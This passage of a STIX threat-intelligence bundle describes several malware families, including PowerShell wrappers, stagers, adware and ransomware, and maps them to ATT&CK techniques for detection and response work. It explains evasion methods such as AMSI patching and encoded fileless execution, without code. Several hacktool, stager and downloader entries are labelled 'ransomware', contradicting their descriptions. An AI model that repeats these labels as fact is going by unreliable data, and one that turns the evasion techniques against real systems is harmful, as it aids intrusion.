      "description": "<h3>Executive Summary</h3>\nPowerun (often detected as HackTool.Powerun, Riskware.PowerShell, or Trojan.Powerun) is not a standalone malware family, but rather a detection signature for malicious wrappers or execution utilities designed to covertly run PowerShell scripts. Threat actors use Powerun utilities to bypass local execution policies, obfuscate their malicious PowerShell payloads, and execute fileless attacks that evade traditional antivirus scanning.\n\n<h3>Technical Architecture and Exploitation</h3>\nPowerShell is a highly powerful, legitimate administrative framework built into Windows. Because it is a trusted tool, attackers heavily favor it for \"Living off the Land\" (LotL) attacks.\n\nThe \"Powerun\" classification typically applies to utilities that facilitate this abuse:\n<ul>\n<li><strong>Execution Policy Bypass:</strong> By default, Windows restricts the execution of unsigned PowerShell scripts. Powerun tools often execute PowerShell using the `-ExecutionPolicy Bypass` flag or instantiate the PowerShell runspace directly within a custom C# or C++ executable to completely ignore local Group Policy restrictions.</li>\n<li><strong>Obfuscation and Fileless Execution:</strong> Powerun wrappers frequently decode heavily obfuscated (Base64) PowerShell scripts and execute them directly in memory (`-EncodedCommand`). This means the actual malicious payload never touches the hard drive, rendering static disk scanning ineffective.</li>\n<li><strong>AMSI Evasion:</strong> Advanced Powerun utilities attempt to patch or disable the Anti-Malware Scan Interface (AMSI) in memory before executing the PowerShell script, blinding the EDR solution to the script's contents.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA Powerun detection is a critical indicator of compromise. It signifies that an attacker is actively attempting to execute arbitrary code on the system utilizing trusted system binaries. The payloads executed via Powerun are frequently Cobalt Strike beacons, Empire agents, or ransomware stagers.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Constrained Language Mode (CLM):</strong> The most effective defense against malicious PowerShell usage is enforcing Constrained Language Mode via Windows Defender Application Control (WDAC). CLM severely restricts the APIs and COM objects that PowerShell can access, neutralizing most offensive scripts.</li>\n<li><strong>Script Block Logging:</strong> Enable PowerShell Script Block Logging (Event ID 4104). This forces the OS to log the *de-obfuscated* content of the script as it executes, providing invaluable telemetry for incident responders.</li>\n<li><strong>Behavioral Monitoring:</strong> Monitor EDR telemetry for suspicious parent-child process relationships, such as Word (`winword.exe`) or Excel (`excel.exe`) unexpectedly spawning `powershell.exe` with encoded command-line arguments.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Powerun",
        "Riskware.PowerShellRunner",
        "Trojan.Powerun"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Powerun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/powerun"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--533cc390-7d79-5639-9381-71cb28e4565d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0700510-be7c-5f70-abad-6be62dd9c013",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerun exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--b6f9ab01-572f-5927-a475-9e252e40c60e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1222.001: Windows DACL Modification",
      "description": "MITRE ATT&CK Technique T1222.001 (Windows DACL Modification) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1222.001",
          "url": "https://attack.mitre.org/techniques/T1222/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2f69e70-4397-5c04-942c-d862c5f8281c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0700510-be7c-5f70-abad-6be62dd9c013",
      "target_ref": "attack-pattern--b6f9ab01-572f-5927-a475-9e252e40c60e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerun exhibits technique T1222.001 (Windows DACL Modification)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edb0183e-d37f-55e0-9749-55c905b509b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0700510-be7c-5f70-abad-6be62dd9c013",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powerun exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--edce560c-801a-5424-881d-399316afef89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Powp",
      "description": "Powp (identified across antimalware engines as Adware:Win32/Powp, Trojan:Win32/Powp, and PUA:Win32/Powp) is an aggressive adware monetization framework and software bundler active across Windows environments since 2014. Distributed primarily through Pay-Per-Install (PPI) wrapper networks, Powp infiltrates systems alongside third-party freeware installers, cracked utilities, and media player setup packages. Once launched, Powp silently extracts secondary advertising components and browser extension modules into %ProgramFiles% and %AppData% directories. It secures persistence by creating hidden Windows Scheduled Tasks and adding registry run entries in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. The adware intercepts web traffic across Google Chrome, Mozilla Firefox, and Microsoft Edge, altering browser default search engines to affiliate advertising portals, generating unwanted pop-under advertisements, and injecting commercial hyperlinks into visited webpages to generate illicit advertising revenue for its operators. (Observed samples in benchmark: 99)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Powp",
        "Trojan:Win32/Powp",
        "PUA:Win32/Powp",
        "Win32/Powp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Powp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/powp"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dff95a6d-db77-5447-b0c3-5019c21ecd1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edce560c-801a-5424-881d-399316afef89",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powp exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dc7f6a2-50d8-5402-9d79-bb494a21fbb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edce560c-801a-5424-881d-399316afef89",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powp exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38862412-2571-5e02-a712-1607684dbd54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edce560c-801a-5424-881d-399316afef89",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powp exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf8c860d-3d89-5789-9284-d6715bd1b62c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edce560c-801a-5424-881d-399316afef89",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powp exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59cb1a81-0202-5d6f-828b-5f1de09ccae7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edce560c-801a-5424-881d-399316afef89",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f367fb9-966f-5cac-aab4-80b75e0e7465",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edce560c-801a-5424-881d-399316afef89",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--48d7a6b0-da4b-5437-8565-b242c452fa52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Powstage",
      "description": "<h3>Executive Summary</h3>\nPowStage (or PowerShell Stager) refers to a class of fileless malware components used extensively in modern, \"Living off the Land\" (LotL) cyberattacks. A stager is a small, initial piece of code whose sole purpose is to establish a connection to a remote Command and Control (C2) server, download a much larger and more complex secondary payload (like a Cobalt Strike beacon, ransomware, or RAT), and execute it directly in the system's memory without touching the hard drive.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPowStage is typically delivered via weaponized Microsoft Office documents containing malicious macros, disguised shortcut (`.lnk`) files in phishing emails, or via exploitation of web application vulnerabilities.\n\nOnce the initial vector is triggered, the PowerShell Stager executes:\n<ul>\n<li><strong>Fileless Execution:</strong> The stager invokes the legitimate Windows PowerShell interpreter (`powershell.exe`) but passes the malicious script directly via the command line (e.g., using `-EncodedCommand` and Base64 encoding). This avoids writing a `.ps1` script file to disk, evading many traditional antivirus scanners.</li>\n<li><strong>AMSI Bypass:</strong> Advanced PowStage variants include code specifically designed to hook and bypass the Windows Anti-Malware Scan Interface (AMSI), blinding Windows Defender and other modern AV tools to the script's contents.</li>\n<li><strong>Payload Fetch and Inject:</strong> The stager utilizes commands like `Invoke-WebRequest` or `Net.WebClient` to download the secondary payload (often encrypted or disguised as an image file). It then uses reflective DLL injection to load this payload directly into the memory space of a legitimate process.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe execution of a PowStage script is a critical security incident indicating the first successful stage of a major compromise. Because the stager successfully bypassed perimeter defenses and executed code, the endpoint is actively communicating with adversary infrastructure and is likely seconds away from receiving a devastating secondary payload.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Detection relies almost entirely on Endpoint Detection and Response (EDR) solutions monitoring for suspicious PowerShell behavior, such as `powershell.exe` making unexpected outbound network connections or attempting to inject code into other processes.</li>\n<li><strong>Immediate Isolation:</strong> The endpoint must be isolated immediately to sever the connection to the C2 server before the secondary payload finishes downloading and executing.</li>\n<li><strong>Forensic Investigation:</strong> Analyze PowerShell transaction logs (Script Block Logging - Event ID 4104) to determine exactly what the stager downloaded, where it came from, and which process it injected into.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.PowStage",
        "PowerShell.Stager",
        "Trojan.Downloader.PowerShell"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Powstage",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/powstage"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ab0b270-eb75-5609-86ca-b4c84d539e2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d7a6b0-da4b-5437-8565-b242c452fa52",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powstage exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bc1ee0f-6b04-5312-8c8f-94239aeb7a0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d7a6b0-da4b-5437-8565-b242c452fa52",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powstage exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a268c71f-72a7-5903-bb3c-a4397c3cbf6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d7a6b0-da4b-5437-8565-b242c452fa52",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powstage exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64946eb5-e22f-5ee6-b79d-4a42ea2a1d26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--48d7a6b0-da4b-5437-8565-b242c452fa52",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powstage exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d9dcc6da-a3b9-5fc4-bc23-172f3ac5ad4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Powzip",
      "description": "Powzip (classified in threat intelligence feeds as Ransom:Win32/Powzip and Trojan-Ransom.Win32.Powzip) is an unusual crypto-ransomware family that leverages PowerShell scripting and compressed ZIP archive encryption primitives to lock victim files. Propagated through weaponized macro documents and trojan loaders, Powzip executes PowerShell commands to enumerate user documents across local and network drives. Instead of compiling custom cryptographic binaries, Powzip packages discovered files into password-protected ZIP archives using randomly generated high-entropy passwords, deletes the original uncompressed files, and renames the archives with .powzip extensions. It drops ransom notes directing victims to contact the threat actor to obtain the ZIP archive decryption password. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Powzip",
        "Trojan-Ransom.Win32.Powzip",
        "Win32/Powzip",
        "Powzip Ransomware",
        "Ransom.Powzip"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Powzip",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/powzip"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d75eb296-edf5-519d-81da-ecc8602c0bbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9dcc6da-a3b9-5fc4-bc23-172f3ac5ad4f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powzip exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--111cbeec-bf60-58d8-9e93-a89eefa42eed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9dcc6da-a3b9-5fc4-bc23-172f3ac5ad4f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powzip exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b3303a8-da12-5ec0-8f6b-70f46cbe46ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9dcc6da-a3b9-5fc4-bc23-172f3ac5ad4f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powzip exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2681f662-b746-5b2a-b76e-f8c8e573a974",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9dcc6da-a3b9-5fc4-bc23-172f3ac5ad4f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powzip exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--664bfeff-298b-58ac-9c0b-748e4b241270",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9dcc6da-a3b9-5fc4-bc23-172f3ac5ad4f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Powzip exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5d461a87-c654-5d7e-a56f-df28c5986bd7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Poxters",
      "description": "<h3>Executive Summary</h3>\nPoxters is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPoxters is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Poxters operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Poxters ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Poxters receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Poxters infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Poxters executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Poxters frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Poxters",
        "Downloader.Poxters",
        "Win32/Poxters"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Poxters",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/poxters"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86ba09f8-d0a2-5a1d-9857-a5b25f48b99e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d461a87-c654-5d7e-a56f-df28c5986bd7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poxters exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ada11ce4-9657-5639-aeff-997b88583303",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d461a87-c654-5d7e-a56f-df28c5986bd7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poxters exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d8c1be5-7160-5c9d-b286-1482f034b2ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d461a87-c654-5d7e-a56f-df28c5986bd7",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Poxters exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--280e37a5-0702-5b31-b423-27eb3ff78e45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pramro",
      "description": "Trojan:Win32/Pramro is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Pramro</b><br>To an end-user, a Pramro infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Pramro is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Pramro is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Pramro frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Pramro reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pramro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pramro"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4bc8bf9e-d638-5e5b-bff9-24c61ea51f67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--280e37a5-0702-5b31-b423-27eb3ff78e45",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pramro exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ad55b22-214d-528a-8a2a-e7934fcbac49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--280e37a5-0702-5b31-b423-27eb3ff78e45",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pramro exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44917108-4119-5a68-948f-a2066d53dacb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--280e37a5-0702-5b31-b423-27eb3ff78e45",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pramro exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23bfef09-ad96-5ddc-bfee-1fb5e42d86d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--280e37a5-0702-5b31-b423-27eb3ff78e45",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pramro exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e35854f4-eb8b-5386-bd54-aeed3b980d70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--280e37a5-0702-5b31-b423-27eb3ff78e45",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pramro exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5798f714-e003-5d7d-88a7-55aebaffb702",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Prast",
